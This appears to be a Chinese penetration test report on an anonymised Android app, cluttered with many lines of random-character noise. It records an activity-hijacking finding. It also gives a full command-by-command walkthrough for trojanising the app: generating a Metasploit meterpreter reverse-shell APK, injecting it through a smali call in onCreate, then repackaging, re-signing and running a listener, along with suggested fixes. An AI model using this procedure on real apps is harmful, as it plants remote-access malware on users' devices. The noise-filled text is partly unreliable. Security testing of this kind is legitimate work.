0 a0 c! O3 I( {( Q, b" X
* G; P1 j. _' v# J# z: S; d6 [. d, ]; {$ m2 C# ~5 n; |, ^
0 M7 J5 c- A! b' D( T/ @" F+ `7 g+ @4 p4 ^8 P" P& m8 o% V& N
表1-2 测试结果 u9 A" G$ n' q& ~2 N0 U% q- R
8 \. Q$ B+ t' O3 v, \' k" ]- [6 Q
O, }/ V( q/ i$ C8 O! S, o5 C! u9 _5 C/ s7 V7 F
" G. D1 n. w \8 n6 x
2 m7 d' F3 [: d: }9 i
) r/ k4 \! \$ A) u% Y) H, X
# d. T8 u4 h' r& c2 S3 Y
3 y" e4 _! P* r- I9 F0 v0 j+ i: V- I1 z. r
( o4 B% g6 y/ d7 ^1 s
( {& a. t# \0 `2 Y1 U; u 2 检测结果
- F) U3 X4 W4 {! _: ?& i( \* i
+ c' \, \, x G9 {, t& L
! r b& x; |1 }8 N+ j! o. x( l" p; L: F" N; b' S5 K
% _1 R2 }! x# R* a P. n
0 u8 ^# T6 g+ y, D
2.1 某某某
6 [$ C' W8 O% r5 V' B. W- }6 W% y; B6 |3 K W( J
7 |# A, I# [' R1 t" `
3 a3 e9 X. C# N& f/ Y
' @" S. Y1 f' Q2 x; _7 X$ x
D$ P4 t/ \/ F# m 2.1.1检测目标 ) m3 m* N L3 l& [- P
: v8 r: h7 }! v
$ n8 \! {$ g3 r8 ~0 d; t' f5 ?" u4 d/ R; |
8 F3 h6 `& K q1 S
8 G7 `) q9 Z; X6 \0 V8 h2 A' _ u
目标地址: 某某某某某某APP # @/ z3 C! `/ I0 x8 R+ c
1 b m' v! f* x# @2 Y* {/ [; h
( d9 W# A' u5 w
$ B" C5 r6 p8 s & `( @! i9 ` h- q, j
+ K, d7 }' f. A z 2.1.2检测结果
# y% U- U4 z7 m
' @9 |. D- Y0 k
! x$ U0 y7 W6 d( ~; j
) g( l) w) C. x) d6 E. m' e
; u1 F& O) p* d. t" ~8 J
5 c# v7 ]4 n) J) a7 u+ B6 Z5 t- J 2.1.2.1 # w6 Z( n7 G( H+ C3 t+ s
: [: B" r% b1 W% b
4 P7 M/ p8 f, m4 j' e$ `
6 }" w& K+ E; H: l1 K6 F/ ]: b6 F 0 m& \5 M1 ]0 @8 ?* @2 \
3 a0 v" J1 A% G: ~7 q4 c 漏洞链接地址:某某某某某某APP # B- e' Y) g# w+ ]
& S! s( h3 g( Q
$ n* H: L# { h( b
/ H1 z! x# u! w' E6 ~% M
1 R# [) z! ]+ K u$ k
3 v9 @$ k5 C- [0 \6 z. L: E
0 l5 Q) C0 K% L4 f7 S. v
" P |# I% C0 C* p, Q7 X, N" u0 X- N) p
& [1 _6 ^; t- ~: W
# k; e$ Q l# P9 q
, u( h( Z/ L: Q! }4 C. g, |
; G- k# \% m( ^, `/ r, @ 漏洞分析及取证: - b: C9 h; a* f' W5 D. S" N
* C5 |8 h% w9 ]/ f
( v9 L9 e( G7 R" K3 b: q5 ~( h R
$ A( ?9 O I* D( C7 r' T) w4 ~ * f9 x$ ~' k9 w/ J
* [. |9 @- t4 b& d
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
/ o5 n$ n' Z( U7 u$ J# X. z/ i% A: w4 Q0 I
+ a; }, o7 I8 l* m- b$ _# Q* Y6 `% z8 |, M! J) j* G
' V9 A% V5 P; T! Y. O$ W, B1 t3 b
# g8 D! O z9 N/ H8 @; W/ E
8 f, ]( \. y- B) r( F
9 W. h$ a5 A5 a
6 u4 C4 r) f; [7 o" r, t x1 v+ O! a* V
A0 Q2 ?0 g1 q1 x. v6 s% N* F" z$ d' W7 r! z) k
- g4 b9 R: c9 w O. i9 D/ Z
; [0 G u- k: i3 f s: m1 Y' T# q
! C3 z# ?1 g8 f9 Z- u5 |7 F \. w/ B% \8 N9 ~# W1 m
! ~; S5 m# t# H$ M" H" M* m
0 ~ u3 f/ s3 Q) g' s: {
$ u; ]& D/ ~5 s, g) A
; z2 R d) A" J; T: r; d- G
' D- w1 @& F& A8 Y" d+ ] f7 x
7 k. o5 J/ x" s( E
1 p0 w' }; N' j9 z
) z s3 `2 F# P# h* s' D1 ^9 c, N6 ]- F1 X0 d; k( G# G
# [ y, g+ D2 h5 {
) ]- l d& D) ^! h + k( q0 o, ^3 L% t) v
3 ?7 t; u+ `" B7 e9 x
/ [( h9 L8 S+ G5 V& q
1 j9 t" y% f! C/ ?8 h" l
" h( H- P+ ~/ p/ ?. s# n6 W
2 b" b) \- E9 F% A/ y+ x/ ~ ; p2 N' l0 {% i" \
3 s0 n8 _3 o. t" l4 K" i& E 漏洞危害:高 5 b" Y0 q* X5 I' Y. C% ^/ W7 p* f
" e6 X. f4 h- I' X6 W
( y3 d+ R/ \* g5 [* e+ |5 G2 F7 q# F* M0 {8 m4 S! l/ f1 E& @
3 g0 e3 f; w+ e- r1 j# n4 C) G: b3 ?6 t- {0 a8 r4 p
. H2 \" f9 i; b% s0 t
- ?* I$ R# ]( T2 Q; I
5 S9 @/ S5 W0 U0 o+ i% m) A& X
4 i" e2 a- d' x+ Z" u. ]
: `# [3 K+ y) ~( e3 U( n5 P& K+ B
% o. ?7 E0 z0 o7 f
" |/ F/ o, z* H3 O7 l
5 W5 T* L K- L3 x- i4 ]
0 T8 s) \& V/ B; _" f
$ V( d; x2 S! B3 h3 g! l, s 严重程度
4 _4 H4 o9 W5 G" ^- k! d
. F4 o: f$ W5 S1 \/ I9 R( Z& l ( t" t( J5 s6 \1 X: r9 A
' e; B6 P4 S$ N( l | & S% C$ i* M( S# L4 S& I2 x5 g+ |$ {
# `( n2 B5 f. q: K9 H- S/ k3 P& u ^
! i$ t' r' q3 C2 r% R: ?2 T- z
[) E/ W6 B0 r: X & Y l% ^7 A$ y' _
1 R5 ~) \8 ~! L( e% f5 B
高 $ M' H# j! H, v, q
4 T2 ?! \+ F0 w7 y% @
9 [9 {, w7 p( w
; c5 g& O; w( z2 s | , F, f# P) G! a' y' U1 K5 M
' U6 S5 d- U3 D ( X9 r! F/ n: t2 k7 j4 O$ H- H
) |; \4 I% q1 L& c: ^/ C
8 J9 v% _ v% a+ z! S3 z
6 G( j' y2 U/ x2 d ■ - f7 H3 Q5 P5 @$ m* C
+ _7 f+ {3 n: V, v9 U
0 u1 x. Q( L8 ^" @9 b
* G1 V+ i' S% t0 Q6 Y1 T( T | 5 |. w/ R# y* Y* q
1 U. ?+ a) w1 w: k# V! i" v ! J: C& q1 g: \9 u1 z
3 U* c1 O& \- B2 q% u
* I; J. a& f+ M" H, {; h4 p/ i2 r' v! |5 u2 i$ o$ w% [4 l
中 1 A# _: o1 W) t, X8 @
0 M. N& @/ G) g( W7 p! b; r
2 n- l; j. ^8 _( e: ]& j- X7 `, T' B6 G( j8 z. y' V: t
| ! K0 }$ q1 l' b1 b/ {( i3 R6 d
. H/ z @% ~0 f& h- L, m
5 r2 |9 `: x! d& U& C7 T
& ]1 m: P5 J7 Y. y
+ E8 j9 J7 \+ r: W6 x& r X; Z
, q0 z# s3 y9 W% T1 {
+ p$ k& }2 t- ]9 a- U9 A* S1 [& W+ u/ j: `+ |4 k" [2 n
' S: S* K- e/ A+ v3 V/ Z& ?7 q" ]" i; j
|
# D" m5 A) ]& ^4 S1 m( N
8 R9 l+ W, m/ Y0 }" n
6 p. o; L( K% F# b* b7 m
* X5 x F* a# \7 R) Q/ p 8 }/ R9 i) I: _+ x6 z: [
5 v/ k# f6 x$ V- U0 p 低 ) ]+ I J8 Y" G2 d/ H7 Q6 Q
% X9 Q9 l- X+ M / ^, K ]2 A; ?/ `: t
- d0 M8 J& @- | |
* f; j: F& n7 O) A/ t! W3 J7 m0 E- S$ R( ^ |
* v/ @) t8 x* W, z8 l
$ T: G+ K8 C/ C" }5 h$ j
. ^% J9 x. I. \' }7 U7 j5 j& `! |3 u8 ]
* O. i& ?4 ?. h
4 Q1 B# ]6 S/ X0 P; G2 ` }
5 K$ a$ m) b$ l% I2 z' D: ^# y$ O; O; e1 M
| 8 j; @) `8 ^# H0 Y8 X+ n; w
/ s. |: v* U! p8 u/ O
/ p& S8 S/ ]3 z/ W. [6 Z ` \, t: L- K
, L" R [8 f8 V3 x1 C: }
5 N( e* u; l- }) r' [
( A) @* s( w7 C
# W& Q5 ?3 l8 \ ? * m1 A( L5 ]7 p
$ J( x( C/ P# ]# S4 v
# H; O; ?. B# m V K" G
& ?" \" _* w" W- Q6 R
4 c0 h p7 |- M' \3 [ ?& Q* a( p: |2 K8 F! m w
0 a1 L) h+ N" [% ~
0 |' P! F0 j8 m2 C# q* T; T
2 i2 q3 s5 B2 Y1 z8 v1 Q
1 z( f3 g0 w* d. K 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 $ {0 Z7 R0 K L/ o# H; A
0 [; G: g( E$ C* Z
; |4 y' `* v( e8 U! T* Q2 X+ o2 P# ~: Y( R8 h5 }
2 V6 ?1 Z* Q7 Y# T
0 o! R7 T& m( d" ^( G
- D2 D7 q* w1 K- G0 R k; P z# n2 B
- a* f8 \) V, F% U% W( }* I) Q
" k6 u. {! y2 V; w" z
8 o8 c- Q% F$ d& K
* H# w% D% q G; Y I 5 X4 f, g, P8 s! S; _, Y
' _# @: H4 |; o- ^5 _, k+ K6 Q
* G0 v& N* g9 |/ L
* ~9 Z6 I0 b' C* J0 c2 L
+ h) D5 p; i* H1 C$ \
7 t O- x/ b' m5 K' u+ v/ P 2.1.2.2
9 t7 i# j: R: r) V2 F( W' x
. g4 l; P @ ]+ F) X% S6 s$ H
; ]* f) s: _! W6 g4 b2 e: j
# Q$ L- f( Y$ r+ |
- Q* y- S7 j3 e! {* Y" g
$ `* F! \% a0 |% \% X 漏洞链接地址:某某某某某某APP 8 g) l; _; { _$ P: t3 s5 z4 |" c
; D4 ^2 P* V# C& h
: p4 E N3 x5 a* j$ i
* [6 ~6 }. @1 ] ?% { ' U+ A2 x1 Z$ S$ G" Z z
) D$ ]7 R2 v& g* I+ O; A- t
漏洞分析及取证: 0 z+ O- w% A2 ?
, `+ q9 T& Q: H" U) Q( C, p
3 c2 L; u; y8 D( c$ E" e* W7 f9 W. X M& v. [% O9 Z
+ G5 ?: ]- y0 Z* g2 a5 o
5 g# N% U' t. I3 A3 g$ |
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: ' k, L: P/ K, t/ p8 q
0 K' F7 i; Y. I5 D# y. h1 q0 z
! g" v/ r( H( a& L4 v% x% G \8 K0 n- M4 H5 Q: g) P
. I' Q* ?: D+ G
/ q; b+ l( ]( _; Z 用Metasploit 生成木马 apk - \7 [2 v/ y+ d& n
8 W3 u/ y; r" l0 u' C3 x9 [
) d0 m7 n6 b1 A7 ^. g' L- m& |
5 ^" J( \' W/ O# k& ^" _4 x
1 c8 o# P0 e# ~
. m; L/ y- s/ e+ X
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
& g3 v! W) Y3 K. B1 K6 h+ k3 m' M% B$ W! W# p
- c# m) b% n: p# a/ O4 y
4 E8 w4 b6 T' i* p- r + x; j, c" e2 w$ S c* V7 g; F6 r
3 e+ r' r+ q3 _4 F* V! N 反编译目标apk和木马apk 3 _3 H$ A: s# w5 R* Y
! v. S) y" X) H
4 t5 l4 V9 e5 m# p* f/ x) o
9 {- i- x& @4 y8 ?2 ^5 ?. ?
7 q- H4 O4 q6 E! p3 G& D( B
+ X4 `0 o, e O u apktool d target.apk
+ f# O; @0 ^+ R+ y
; \' P- A8 C! ]1 x& v
apktool d cockhorse.apk
# | x! M: g, [7 u3 d2 P* [$ @* }# n6 F
" o2 J: w5 e8 \# O3 C! X: g: g& ~. }9 O W
3 d/ l4 a0 u7 n& @) @5 I& H
/ r5 h' @$ M7 R! @) j+ X
木马 apk 注入目标 apk & s2 _- x+ f# e* |
( D) m6 P* U" p: C6 w5 }" D/ g- s2 t
* S2 o1 ], `1 _) Q7 G$ Q( n }8 |' o2 d/ {. s' }, d
- ]3 U2 x, C( \ W0 f) V
: q$ H2 F+ Q: X& t/ G& w 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
# w0 u2 V: O! e `7 \4 o1 E, ^' Q
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) O; Q! ~& H- e {* C; C4 F
; j! I C6 Q' ^3 c- b4 Y1 p: ?
, G4 v7 e9 F% h6 y' {8 l j+ D( w, }1 h0 c' C: G2 G3 w
( b) v8 P0 @) D" u) s: O& i
& p4 P, o3 p1 s0 _
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 2 `/ S% w, Y" l! @
# D/ O8 t9 t: z1 o& d- Z G
: _& Z" d' K/ y* ?. g) }& ?& |' N" X& Z4 H0 v4 L( c5 _4 |
* F& A/ [2 V9 f* q
) }1 ]0 y- a# H* _- d! w" q8 d+ O
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
! v/ J9 J$ A. c7 V( c' E% C0 k1 F; m2 m! s% D
& H# d0 ], o& N4 ]/ t. F* P
2 Q( g5 m2 m0 ?9 Y& Y - P" |5 S7 D& Z# s- G
0 R7 [4 I& v# O$ b, p" u6 } 回编译生成最终 apk * a7 U2 q! n; n$ y% p6 u4 t! ~
) l. T' Q8 [; G. L+ o
$ e* m9 s8 t& i0 l2 B* S$ t# S& N. O: |& R% M; e. e
; M; b* [* ~1 O, q! g8 [' w! E; h' D o/ o4 N
重新打包 6 G$ K9 e( o/ z3 v% l" b) A
! p6 w5 f: o5 m) r; Z5 r; A/ g R
, K) H0 |% @+ W4 j% Q* W* Z; T
# G5 O; t) D! Z5 S # N) i, ?' {. X5 r5 y0 x4 ^
7 x; a# p0 Y/ _* G apktool b -o repackage.apk target_app_floder
9 _; N- W& G# m% n3 z6 |: D! u9 e+ S: P) t0 k9 p& D. B" e
% H! P. M/ G% |* E9 N2 X" m" N9 T0 F4 T/ z: `
7 b) |& L- f v) C4 m8 ^
- M6 A b% R( A# q, U0 ?" C 创建签名文件,有的话可忽略此步骤
* v0 s0 p; J- R3 t/ z+ t+ ^: @/ X2 ^) y, J1 H
0 X- r8 Z/ c9 b q7 e. E% [: T
2 X6 {) R5 m# q) J/ _! s* t 6 \" }4 M4 S& U
* m! I; {3 }7 m9 }- T0 l
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 0 o5 u5 J4 S9 p, B9 S4 ^
1 ^1 l, u5 ~; g. `( Y
, k4 I6 i0 h+ ]0 f k8 f, b: Z @+ \
" c( m' {4 M/ h0 O9 d+ W
" O. W: b1 ?6 l2 Z. {4 |. D/ o6 Q
( t6 |: p# @$ x5 h7 }" }3 ^6 @ 签名,以下任选其一
3 F2 [. n8 j0 N! c% E5 H& l
- H6 M0 Y- e D7 p' }5 C% y
4 n8 I/ B! E6 e' y" j; w) ~6 w- z- [2 X- K i" d3 N, \
0 O* Z+ Q) c5 \3 a5 @9 \* G5 Q" q1 E
jarsigner 方式
% @4 M$ `6 A* r& x* ]9 b0 }$ U8 O ~
2 a8 J4 ^! Y0 u# E. `
5 O# o5 r$ t$ N6 d1 [, m ' F) i( ?. K2 k
( U: `) w* ^# c% K/ h7 q9 B jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ! x2 `7 @5 Q. N7 n1 V
' I' f4 H/ ?6 j1 M8 H
3 ?9 a7 B% y/ Q) h( @/ {
- C( P. F3 A; \4 a% { $ |0 P" {) l2 m" B1 P
; U: u6 [: J4 {5 {
apksigner 方式
]# t5 E Q) j/ E* \6 k; U$ H: k# f9 c3 v: q# e2 N
& S: s5 \8 O8 `
8 S' g! w9 l2 B5 R0 r$ ]
: R" \8 I/ T( v0 s9 w3 [3 Y% a0 ]1 o ?. S1 @; p# u; d
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
9 E9 o% K P9 A& ], G: j
( @$ S* k% r" h6 G3 S9 M: u
* V. ?, I, G+ e9 W+ U. u; ]8 g4 ~
9 k# `/ {$ I$ k; K7 ^& `8 ~, _+ l
! x! {- W T- O& A
' I" P7 a8 B8 r, J' M# T0 n+ u
如需要禁用 v2签名 添加选项--v2-signing-enabled false @& F" @) t( a# c
. y+ E i+ c* f
% K5 R6 ?. c2 n3 [; y: k
8 M2 f$ j+ ? o7 y3 ~! t
; e9 Q3 ]4 C2 C1 N
, v1 l3 t/ V2 {! z4 t 验证,以下任选其一
4 h$ y0 Q8 F( F l9 |( y w
; ~' J b; W1 y4 d" u3 L4 R6 E/ M
' f r y" w' }) O
$ D# U+ C7 E7 E& m# l3 y A r
6 b# A: Z% S5 f5 i" }
1 g) e( v3 o6 B, [3 Q- N
jarsigner方式
9 l: Z) O( T" [! n+ o5 O3 a, B* T+ ?
( y" g' I: s" J! S a2 e* [5 k
7 A2 R4 t/ i/ {! G/ v3 u( M& n
; i0 j) e" x6 |: u 5 E" Z. A7 e2 O3 M1 \2 n
& ?( o! @: Y" q: N' s. _+ C( ~
jarsigner -verify repackaged.apk
- J' S, u0 ?( _+ a7 t8 V
! i6 r. u2 H5 Z8 c7 A ^
- N# s" R# b2 L T! i! G6 h( a
% H: D2 s7 s1 N6 f$ V9 s
g5 L5 p( [3 w, E8 {3 h8 y
8 E/ H" s2 h6 J/ o. J* j( u apksigner 方式 & ?" M5 d( p" U! c$ f
) r4 }: Q. i9 \ m
, }5 C4 u: |' ?4 `5 z. o3 c1 g! o0 r! @
6 ~ s. Y* M+ b& ~3 j7 N& N* v3 {( O9 ^ o" _- q' k
apksigner verify -v --print-certs repackaged.apk ! P u9 u1 M$ W% B4 W% L
# d) n; e. v! b0 f( C6 r
( W* ]; b* }! X0 p
% E" i. Y( v8 Q) v* |; D
. k" Z+ b1 {9 ^2 o
, Y5 N1 R4 \4 @( ]! b3 H+ t) y0 v6 m3 c
keytool方式
9 w/ i U3 ~$ f t9 Z) I
0 O9 ?- [1 y0 k: k
p" x7 ^* U5 u9 R; o$ M/ n) Y
2 |0 g3 [0 I( R( ~! `
. m' k! o! Z. h; ~( T# v/ {
# I/ i3 O ~' e' H3 G; L) K" T5 E keytool -printcert -jarfile repackaged.apk
( S0 I) `$ P' }/ U% _" @% C7 q7 X! \1 ]6 L
+ M; g7 M; g7 f7 v S
9 P0 c/ j, O8 r! ]4 f- r " M5 @0 l$ ~. ]" l$ v0 c
" C4 T% l' c$ l, b0 Q/ ? 对齐 7 n& m: {+ T# W1 u" s1 V
: p8 |7 Y# K4 l0 V
# t( b' I1 [8 f0 R" P6 D7 q }
2 ?5 V4 F3 k$ ^" f3 b5 [
' i6 m% X8 ]4 m. {, h) ?$ X' O9 p: y, A
字节对齐优化
8 U! j( ?6 P7 _: P( r# b' O' n
1 Z. c" N' q( D9 U9 l: X
9 K& G% I( N% G$ ^# V |6 T: f
8 Y0 I! b7 E @1 m7 B3 E9 g 5 ~5 p p- j: a4 W8 ^
* b& z# F: T* v, z zipalign -v 4 repackaged.apk final.apk
. |& Z; H& ~# H/ F3 b) q! ~3 J5 H) R* P8 r5 t( ~$ X, Q1 K
: f' [0 o" m' W+ @3 C, z
5 n/ _+ v6 m$ F8 ~ & O$ ^4 }$ C G
! C8 }2 U$ w$ r! A7 w/ R* X( G
检查是否对齐
7 n# w5 G6 I6 }; ~# E! P
! A1 J9 Q( \. w1 j; V
2 }- k0 V; p. m R& j
: q6 a- H0 @3 f* \0 [- u: e
9 A% }- O! ~5 w8 b/ {: h y/ H- o8 @( a. Y0 R% t6 n7 _
zipalign -c -v 4 final.apk - A% t) ~4 ~2 D$ g0 D9 ]
' m) F' f; l# y) `2 B
* c+ D# ^8 R: J. K/ D
1 _+ A4 a8 `6 Z+ w/ L' K 3 C2 I; Y* p% u6 O% z
, X- Z/ ?" d3 P; y5 U1 [& C
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
: z3 q9 Q6 H' @! A2 O- F# W, m/ t, e8 W# c- U5 w! u" O8 J
, C; c; f6 V3 e2 d: b- r2 c
/ r" k, G7 ]( D3 m) r
/ I' v3 C/ A) u5 W8 h: ]3 p0 T
( Y- b/ \- r5 @, k0 x. S 启动Metasploit控制台,配置参数等待上线
% }$ b8 u+ W3 f: b& J6 v# N$ p1 t" p8 P S6 S% X; v- W
* X% I% S( G6 x; O) m* T w$ X, b/ N. a* Y7 a- W% c% W. Y
6 U: W4 O# |' T; a% L
. M- R$ f3 X, V! b6 { 在终端依次输入如下命令 & D' @0 s7 O& P: f) J V
) T' p D9 a! X3 y
- L; a4 f2 P! i3 C
6 i) W8 f3 l% J/ Y% p* b& \5 \
1 _8 t) r J% p4 M/ y7 v0 }' g
) L2 i7 P3 q, B% E% j msfconsole : w8 E2 ?5 y2 I f
) u* W ]- T+ j3 J2 Q9 ?% ]
5 G9 n" N2 o* A& {8 f6 ^) @7 m0 I6 ^# J( v0 d2 z" D4 ^9 ~
8 G7 N$ p& m; f7 R& o/ ?/ r1 ]& \
. U& k! `0 k/ ]+ e use exploit/multi/handler
2 L& }5 W# f- o) l1 s5 T+ W7 n- K( [5 g
: u0 V. [ U+ A# \9 m* ^. v
/ a" v; {' a# e# _. K/ G 3 P2 c7 S* c* @# o
K5 Q1 \+ `: ?( C7 R+ B0 X7 k
set PAYLOAD android/meterpreter/reverse_tcp 1 o! [* q' e) k, q* S% q8 ^( l
0 N/ N5 v6 P4 [/ s& x' ?
7 Y/ h# \1 q& w' y. e! z
$ D# d4 j4 [4 n
" s4 Q4 D: G }5 K5 |% W4 e' ~1 K9 x) b7 Y! B' q7 q1 r- T0 ~
set LHOST 192.xxx.xx.xx * I# |2 r; V2 N( }7 _: @1 V8 d
5 ]. v" X8 P2 B* H
% Y+ Z8 T3 W& O7 [3 q- l, W) l
/ M4 P2 @- Z1 z4 G
6 f3 `. E% y# _, p. D
- [; R0 ~/ t- m- C
set LPORT 4444 0 S2 j0 Z, f& b3 X
- l- R7 w$ r7 _
) @" { w# C1 f9 n1 ~5 b! r1 s" P
: w6 ~5 j$ e. I; D2 w( o; s
" u, Z0 M8 T- B+ H
& h8 J% x% r0 `6 Z. ^5 L- `$ L
exploit
; G' r. G1 B& m3 f: H4 Y& U3 l, S
. ]' o; D4 O! C$ H1 W* `. f
8 X; W, o& k/ p5 E% K7 D) R5 S1 B2 a6 w; Z1 O
5 J1 K6 C2 _$ Q' \
) W7 Y4 \9 P7 i/ g! G. B 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
9 o8 W: _; e, n w6 f8 d T3 q2 l+ j" @" q' [
1 k) |+ S* i! q
- d$ C% ]( B# C1 R6 F. s
0 n" J' M6 t0 X( j1 m8 m- U9 l% ~: g' P4 e( [+ S- y! w; T+ W4 J
漏洞危害:中 3 O: a; `' v; z1 w/ T
9 _7 f+ |, j7 L" {, W. t. r8 C% L4 w
8 @( V* b7 g& d$ v# s9 \. I) L( D. U! [: H
! z" E8 J6 o/ r9 m, u1 J
3 J5 F( l5 r& f' U7 [- x: y* | {
) K* u5 R+ D& I* s6 I1 v/ r# _0 k d% u
' w6 L" d( h/ @$ P9 n# u2 R % u& r5 \. T+ ~, H4 m( e9 q
+ q5 Y' h" t# R) I% \' [0 e
$ Q0 K5 O( a: c) A, r2 q p
4 B( }! X/ |- I" Q6 F ; A; p! K4 ~" t9 P. e5 F2 s
) H7 i8 Q+ p3 v5 a" w( k* Z, Q2 Q
/ ?2 T+ i7 V/ W" M$ y8 d' J
- Q `" C1 E) J 8 V6 \$ M$ l3 \# I! K, a
* T6 J7 }* k* Q, H) g# s
严重程度 # G9 P+ }/ x" ^& J
8 C: w$ `/ {& g1 H0 ]; I
! s ^3 h% b3 e: b# ^
( p8 b9 m5 {: M9 j+ J | 7 m: f* }( J0 d& r- o& f; U+ E
. N* X1 E z$ o/ h( J( b o0 R
! n2 w4 n, x4 C* c
4 O9 T* n |6 G8 w* x6 m 6 U6 g8 r. k+ g$ q7 `$ R+ C! u" f4 t
* @+ ^3 `1 T3 H% s) ^/ h+ ^/ O 高
* l) g' t! i. F- r" k. s' [0 t; ^/ f9 U
* K0 B7 T3 p6 M d% B
( w% }3 N1 Q' Y. }: W: ` h) U
|
; d+ f' Z; i9 j; E' v2 e# t# O5 d' b2 O# Q3 K
; O) A4 r1 T% V/ l; Y2 a3 g6 |" [7 t: E ^! [% F# g+ Y4 o3 _3 u& w# ]
% h0 j0 g" N! w& q2 h* L% D. Y, i$ W/ w6 V2 G& f Y% z
■ & v% D' n) [! X0 [4 k. O0 a3 l4 U
4 }. F+ ^6 {" f- l* W
4 A O0 c: h3 D; c2 _, H4 ]3 q* `- x% b4 I# f1 c
| " m/ i6 [! L3 h0 e, h! p, J
, I# E& Y8 F+ Q' p1 a: `5 H
8 o" V. O1 g6 Z) j# U2 U/ v
# K/ b- {6 s/ f7 X/ M9 N 9 H" p5 ^* R7 O8 p
, J$ W( s& O0 ^& ? 中 + b/ V8 C, M; K6 E: L) l
1 N! X- p0 E3 [% k5 J6 f& x! t& e 4 }: h4 `' m# w( q) L4 z
- Y. M/ v# ?3 w- z
|
% O4 M1 ]0 Q {! v0 z) K
}- c* V* Q9 [3 J {: P 9 a, L2 O6 a/ B/ A" Y
) g- |, j# m2 }- K" q+ H
: z9 H* {) Q! x5 @$ P
: m1 J* E1 Q9 T5 D7 V4 g
5 ^- `6 v1 J+ ]2 u( m
. V0 U6 j3 L+ v 5 Y3 s' z; H1 @2 T/ X# w! }
w3 U' K# L& \8 a. p
. p) R6 {8 q: x7 f9 N8 Y/ s. m6 T
|
$ F6 a) [2 b7 y* ?! ]
8 N9 K! V) V5 n7 k 3 o0 k7 w) v. @. N' f
" K2 G- r' b& @- N u) j9 V
+ U G' C8 z" }( p
3 H$ }1 U& {( g 低 0 y& z1 ?0 H1 x4 `* O; R% k
! Y4 H+ B7 y% R( \9 ?9 h
* w6 ?. t( [) T0 J* B4 h6 a2 Q( U$ y. S' ]4 e# k7 L
|
, B& ]- `. d6 z K6 {' D
8 [# c. z* f1 c) ^2 K9 A/ B 3 `. } a0 Y9 z* T F
" U2 F9 g; e; Z3 y; _2 [
9 A6 d5 C8 ]+ o% k5 L0 R# y4 b3 s
: Q# N1 w& Z# X$ c
( E |5 V6 `7 {+ d) I
2 n- E0 o+ o2 d' ]
/ Z/ M) }, C6 k) M2 Q+ o( y8 o
4 Y* s* C1 f2 n2 ^0 { ^
/ A1 h/ g; Y |- C3 ]/ ?
U3 n8 o l) c* n. _! h; _
|
& C/ Y. s) k" \4 X& v K2 W& U+ K, W0 W
/ ?7 H2 M2 g1 u; x1 E% c x: q8 O4 G& j
, j5 U$ @6 ?' [' D6 q! v% p' p
) h, E$ w* [6 J. g" F6 D' m% A
7 o9 Z" H3 ?5 ?4 h9 F, ?$ G
7 |# s( T3 _1 {% A* P * N$ r! @1 ]" \6 t4 _
9 ] A7 g7 ^: V6 v0 @ 9 C+ `5 a6 B( W/ h O0 g. i( X
0 H7 t+ q4 O' Z4 H, n9 B* j3 n8 N" j! H
& e8 Z" v. u* X3 h9 J/ }% Y2 H2 {$ h
9 j. `# s3 `5 V% i- h4 ~ S' \9 d* g* }( i9 N1 ?
# S2 G0 ^* ^% ]8 z2 k
! {- M6 H4 n1 f e 修复方法:
/ E2 A. J7 P; p$ }' f- m0 a( p: o3 L
. G3 ~( K! }9 F
1 D' u T$ `6 `( t+ f2 ?0 h5 o- v
I6 O5 D: \0 {6 o+ g* R, g8 g: B* c: s+ R. i
1.在 APP 启动时应做签名校验防止二次打包。
K. l- h4 |% F2 x n' l8 d+ _
; Z: F+ f" I4 e" K! b
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 * R, z8 _5 B6 ?+ L
. `3 r4 Q4 d4 e6 Q% s
4 [: y5 t& n1 }$ t
4 p/ F7 x$ o' Z" R2 R: b6 n! F
; k, K& K4 V& n/ H% B* V$ S- \# p, @
/ m4 Z1 h2 O' r) x6 z
X( N% R6 L4 O; W
) ] t+ h$ b" j
- q+ k+ w7 g3 a
9 `5 K! D5 a* r* D
7 C$ R+ z- E8 Y& t
4 B0 r1 x9 v1 U7 P! ^) |8 K
2 c- J; x) `$ A+ C' r( X * |7 u& A+ N/ j; m! t" T. C8 v
* ~5 o9 w5 z" a: e/ R3 l/ O; x+ o8 ~
- c" g4 e) w/ w
; Z5 E( S3 r; G6 p5 G) y$ x& g! B
! J' @( v- |; E
2 s) c! @3 @$ z& x. f' v4 K9 {